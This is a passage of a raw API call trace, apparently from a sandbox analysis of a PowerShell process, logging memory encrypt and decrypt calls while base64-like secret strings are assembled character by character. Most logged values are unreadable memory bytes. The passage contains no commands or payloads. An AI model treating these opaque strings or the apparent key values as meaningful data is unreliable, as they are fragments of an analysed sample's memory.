(param_1="xl6pKtwFR6A+cZeW9DNMY렿钙꛲") returned 0x18 [0227.501] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.501] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉デ濳㋖ἂ걖釃賢뚍") returned 0x18 [0227.501] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉デ濳㋖ἂ걖釃賢뚍") returned 0x18 [0227.501] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.501] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3钙꛲") returned 0x18 [0227.501] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.502] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᧦컆排ꡞ恰䍡") returned 0x18 [0227.502] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᧦컆排ꡞ恰䍡") returned 0x18 [0227.502] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.502] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3G꛲") returned 0x18 [0227.502] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.502] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉ﰆ뷄ᥝ廬ꍚ삠叴듏") returned 0x18 [0227.502] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉ﰆ뷄ᥝ廬ꍚ삠叴듏") returned 0x18 [0227.502] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.502] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR") returned 0x18 [0227.502] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0227.502] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽") returned 0x18 [0227.503] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽") returned 0x18 [0227.503] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽") returned 0x18 [0227.503] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽") returned 0x20 [0227.503] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.503] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+ﻰ姕ꔻ犏俿ᇢ죆") returned 0x20 [0227.503] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.504] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽牞쥂왖〦ۑ⁧뾠") returned 0x20 [0227.504] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽牞쥂왖〦ۑ⁧뾠") returned 0x20 [0227.504] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.504] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6姕ꔻ犏俿ᇢ죆") returned 0x20 [0227.504] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.504] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽敇뷏꯷築䚧ﭑ↢") returned 0x20 [0227.504] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽敇뷏꯷築䚧ﭑ↢") returned 0x20 [0227.504] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.504] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qꔻ犏俿ᇢ죆") returned 0x20 [0227.504] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.504] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽뀋二Ⅶ駕㟣녉듕鬉") returned 0x20 [0227.504] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽뀋二Ⅶ駕㟣녉듕鬉") returned 0x20 [0227.504] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.505] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qp犏俿ᇢ죆") returned 0x20 [0227.505] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.505] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽抗赠ꗛ䟑ҫ쏦缈") returned 0x20 [0227.505] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽抗赠ꗛ䟑ҫ쏦缈") returned 0x20 [0227.505] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.505] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qpG俿ᇢ죆") returned 0x20 [0227.505] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.505] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽뚴ښ⇢⊑ች屳嗏ᣥ") returned 0x20 [0227.505] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽뚴ښ⇢⊑ች屳嗏ᣥ") returned 0x20 [0227.505] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.505] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qpGSᇢ죆") returned 0x20 [0227.505] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.506] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽ꙗ৊叩ᳳ뒆⼷䓾") returned 0x20 [0227.506] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽ꙗ৊叩ᳳ뒆⼷䓾") returned 0x20 [0227.506] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.506] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qpGSd죆") returned 0x20 [0227.506] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.506] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽垸罌᥶ᘅBڦ런㛳") returned 0x20 [0227.506] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽垸罌᥶ᘅBڦ런㛳") returned 0x20 [0227.506] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.506] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qpGSd3") returned 0x20 [0227.506] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0227.506] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽") returned 0x20 [0227.507] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽") returned 0x20 [0227.507] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽") returned 0x20 [0227.507] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽") returned 0x28 [0227.507] SystemFunction041 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.507] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qpGSd3f洕鍱希말혗၅䏆") returned 0x28 [0227.507] SystemFunction040 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.507] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽༒ȝᢔ詰ꦓ﵅巢㝖") returned 0x28 [0227.508] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽༒ȝᢔ詰ꦓ﵅巢㝖") returned 0x28 [0227.508] SystemFunction041 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.508] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qpGSd3fp鍱希말혗၅䏆") returned 0x28 [0227.508] SystemFunction040 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.508] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽㞠\탘뚊२畹娝澠⊒) returned 0x28 [0227.508] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽㞠\탘뚊२畹娝澠⊒) returned 0x28 [0227.508] SystemFunction041 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.508] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qpGSd3fpy希말혗၅䏆") returned 0x28 [0227.508] SystemFunction040 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.508] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽ക㘿᪾者ΰꗙ봏ﱭ") returned 0x28 [0227.508] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽ക㘿᪾者ΰꗙ봏ﱭ") returned 0x28 [0227.508] SystemFunction041 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.509] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qpGSd3fpyp말혗၅䏆") returned 0x28 [0227.509] SystemFunction040 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.509] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽썏树ⓞ䫴┺歗콸倖") returned 0x28 [0227.509] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽썏树ⓞ䫴┺歗콸倖") returned 0x28 [0227.509] SystemFunction041 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.509] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qpGSd3fpypZ혗၅䏆") returned 0x28 [0227.509] SystemFunction040 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.509] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽䖯䌅楇鉛ᐪ烼背") returned 0x28 [0227.509] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽䖯䌅楇鉛ᐪ烼背") returned 0x28 [0227.509] SystemFunction041 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.509] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qpGSd3fpypZt၅䏆") returned 0x28 [0227.509] SystemFunction040 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.510] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽ꀷ蚄嗰憛룖⟵") returned 0x28 [0227.510] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽ꀷ蚄嗰憛룖⟵") returned 0x28 [0227.510] SystemFunction041 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.512] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qpGSd3fpypZtj䏆") returned 0x28 [0227.512] SystemFunction040 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.512] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽飞龈︕⛹袶ㆰ") returned 0x28 [0227.512] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽飞龈︕⛹袶ㆰ") returned 0x28 [0227.512] SystemFunction041 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.512] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qpGSd3fpypZtjJ") returned 0x28 [0227.512] SystemFunction040 (in: Memory=0x5c92504, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92504) returned 0x0 [0227.512] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽㶑ಿ藓ᢙ姚갵⨃") returned 0x28 [0227.513] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽㶑ಿ藓ᢙ姚갵⨃") returned 0x28 [0227.513] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽㶑ಿ藓ᢙ姚갵⨃") returned 0x28 [0227.513] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽㶑ಿ藓ᢙ姚갵⨃") returned 0x30 [0227.513] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0227.513] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qpGSd3fpypZtjJL㐪閾㼝鍶\㣟⋧) returned 0x30 [0227.513] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0227.514] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽㶑ಿ藓ᢙ姚갵⨃쁐쎕꩙퇍螆ㄴ䰪") returned 0x30 [0227.514] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽㶑ಿ藓ᢙ姚갵⨃쁐쎕꩙퇍螆ㄴ䰪") returned 0x30 [0227.514] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0227.514] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qpGSd3fpypZtjJL+閾㼝鍶\㣟⋧) returned 0x30 [0227.514] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0227.514] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽㶑ಿ藓ᢙ姚갵⨃涆⁈\﫝枀㓃霍Ⲑ∏) returned 0x30 [0227.514] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽㶑ಿ藓ᢙ姚갵⨃涆⁈\﫝枀㓃霍Ⲑ∏) returned 0x30 [0227.514] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0227.514] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qpGSd3fpypZtjJL+U㼝鍶\㣟⋧) returned 0x30 [0227.514] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0227.514] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽㶑ಿ藓ᢙ姚갵⨃肫럣쁥⪭统Ꭱᅿꞣ") returned 0x30 [0227.514] SysStringLen (param_1="룼遪挦킓뇒ꐏ딥塳╅ﱐ憎ﵼเ毉᫗왥⺼῵怒呂抑׽∍喀㈿恨挶軽㶑ಿ藓ᢙ姚갵⨃肫럣쁥⪭统Ꭱᅿꞣ") returned 0x30 [0227.514] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0227.515] SysStringLen (param_1="xl6pKtwFR6A+cZeW9DNMY3GR+6qpGSd3fpypZtjJL+U=鍶\㣟⋧) returned 0x30 [0227.515] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0227.515] EtwEventActivityIdControl () returned 0x0 [0227.515] EtwEventActivityIdControl () returned 0x0 [0227.515] EtwEventActivityIdControl () returned 0x0 [0227.516] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0227.516] EtwEventActivityIdControl () returned 0x0 [0227.516] EtwEventActivityIdControl () returned 0x0 [0227.516] EtwEventActivityIdControl () returned 0x0 [0227.517] SysStringLen (param_1="") returned 0x8 [0227.517] SysStringLen (param_1="N") returned 0x8 [0227.517] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.517] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0227.517] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0227.517] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.517] SysStringLen (param_1="ND") returned 0x8 [0227.518] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.518] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0227.518] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0227.518] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.518] SysStringLen (param_1="NDZ") returned 0x8 [0227.518] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.518] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0227.518] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0227.518] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.518] SysStringLen (param_1="NDZl") returned 0x8 [0227.518] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.518] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0227.518] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0227.518] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.519] SysStringLen (param_1="NDZlO") returned 0x8 [0227.519] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.519] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0227.519] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0227.519] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.519] SysStringLen (param_1="NDZlOD") returned 0x8 [0227.519] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.519] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0227.519] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0227.519] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.519] SysStringLen (param_1="NDZlODR") returned 0x8 [0227.519] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.520] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0227.520] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0227.520] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.520] SysStringLen (param_1="NDZlODRm") returned 0x8 [0227.520] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0227.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0227.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0227.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0227.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0227.521] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.521] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0227.521] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0227.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0227.521] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.521] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0227.521] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0227.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0227.522] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.522] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0227.522] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0227.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0227.522] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.522] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0227.522] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0227.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0227.522] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.523] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0227.523] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0227.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0227.523] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.523] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0227.523] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0227.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0227.523] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.523] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0227.523] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0227.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") 